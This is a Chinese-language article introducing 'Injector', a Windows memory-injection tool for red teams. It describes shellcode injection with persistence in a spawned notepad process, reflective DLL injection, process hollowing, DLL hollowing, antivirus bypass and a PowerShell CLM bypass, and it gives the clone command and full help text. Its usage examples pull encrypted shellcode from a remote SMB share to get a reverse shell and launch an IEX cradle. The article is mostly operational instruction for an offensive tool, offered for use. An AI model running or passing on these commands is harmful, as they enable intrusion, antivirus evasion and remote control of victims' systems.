如何使用Injector實(shí)現(xiàn)Windows下的內(nèi)存注入
關(guān)于Injector
Injector是一款功能齊全且強(qiáng)大的內(nèi)存注入工具,該工具集成了多種技術(shù),可以幫助紅隊(duì)研究人員實(shí)現(xiàn)在Windows系統(tǒng)下的內(nèi)存注入。
Injector能做什么?
針對(duì)遠(yuǎn)程服務(wù)器和本地存儲(chǔ)提供Shellcode注入支持。只需指定Shellcode文件,該工具將幫助我們完成后續(xù)的所有事情。默認(rèn)情況下,工具會(huì)將Shellcode注入至exe,如果沒(méi)有找到目標(biāo)進(jìn)程,它將會(huì)創(chuàng)建一個(gè)記事本進(jìn)程,并注入其中實(shí)現(xiàn)持久化感染。
- 支持反射DLL注入,工具將下載DLL并注入遠(yuǎn)程進(jìn)程。
- 通過(guò)exe實(shí)現(xiàn)進(jìn)程鏤空。
- 使用-bypass參數(shù),以支持使用更高級(jí)的、未記錄的API來(lái)進(jìn)行進(jìn)程注入。
- 支持加密的Shellcode,比如說(shuō)AES加密或異或加密等。
- 支持針對(duì)PowerShell的CLM繞過(guò),可以直接將代碼存防止能夠執(zhí)行C#代碼的白名單文件夾中,比如說(shuō)“C:\Windows\Tasks”。
- 支持DLL鏤空,通過(guò)dll實(shí)現(xiàn)。
工具下載
廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:
- git clone https://github.com/0xDivyanshu/Injector.git
工具幫助
- C:\Users\admin>Injector.exe
- Help Options for Xenon:
- -m Mode of operation
- -m 1 Specifies the mode as Process injection
- -m 2 Specifies the mode as Reflective DLL Injection
- -m 3 Specifies the mode as Process Hollowing
- -m 4 No injection! Give me my damn shell
- -m 5 Powershell session via CLM bypass
- -m 6 DLL hollowing
- -TempFile File location that your current user can read
- -shellcode Use shellcode
- -dll Use dll
- -decrypt-xor Specify Xor decryption for shellcode
- -pass Specifty the password for Xor decryption
- -decrypt-aes Specify aes decryption for shellcode
- -pass Specifty the password for aes decryption
- -location Specify the location i.e either server or local
- -bypass Uses enhance attempts to bypass AV
如需生成加密的Shellcode,請(qǐng)?jiān)贙ali下使用Helper.exe。
工具使用樣例
- Injector.exe -m=1 -shellcode -encrypt-aes -pass=password -location="\\192.x.x.x\share\shellcode.txt" -bypass
上述命令將解密你的Shellcode并給你一個(gè)反向Shell。
如果你不想使用加密的Shellcode,你也可以直接使用下列命令運(yùn)行下列命令:
- Injector.exe -m=1 -shellcode -location="\\192.x.x.x\share\shellcode.txt"
將其中的“-m=1”修改為“2,3,4,6”之后,就可以運(yùn)行其他模式了:
- Injector.exe -m=5 -TempFile=C:\\Users\\user\\sample.txt
上述命令將提供要給會(huì)話(huà),我們可以使用它來(lái)執(zhí)行IEX cradle,并獲取一個(gè)能夠繞過(guò)CLM的反向Shell。
PowerShell
你還可以使用Invoke-Exe.ps1來(lái)通過(guò)PowerShel執(zhí)行Injector:
- Invoke-Exe -loc C:\Users\john\injector.exe
項(xiàng)目地址
Injector:【GitHub傳送門(mén)】






















